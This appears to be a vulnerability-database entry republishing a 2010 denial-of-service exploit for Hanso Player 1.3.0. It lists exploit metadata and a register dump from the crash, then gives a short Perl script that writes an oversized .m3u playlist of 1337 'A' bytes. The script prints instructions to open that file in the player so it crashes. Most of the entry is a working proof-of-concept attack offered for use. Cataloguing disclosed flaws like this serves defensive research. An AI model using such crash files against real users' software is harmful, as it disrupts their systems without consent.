发布 2010-10-03 漏洞条目

Hanso Player 1.3.0 – ‘.m3u’ Denial of Service

Exploit Source

# Exploit Title: Hanso Player Version 1.3.0 (.m3u) DoS

# Date: 10/02/2010

# Author: xsploited security

# Software Link: http://www.hansotools.com/downloads/hanso-player-setup.exe

# Version: 1.3.0

# Tested on: Windows XP Pro SP3

# CVE : N/A

#########################################################

#EAX 00000001

#ECX 80567B8E

#EDX EDD619A0

#EBX 003E320C ASCII "h "

#ESP 0103FF24

#EBP 0103FF58

#ESI 0103FF80

#EDI 001610D0

#EIP 7C90E460 ntdll.KiUserCallbackDispatcher

#Process terminated, exit code C0000409 (-1073740791.)

#########################################################

#!/usr/bin/perl

my $file = "crash.m3u";

my $junk = "\x41" x 1337;

open($FILE,">$file");

print $FILE $junk;

print "\ncrash.m3u file created successfully\n1.) Open it with Hanso player\n2.) Application failure...\n";

close($FILE);

相关漏洞条目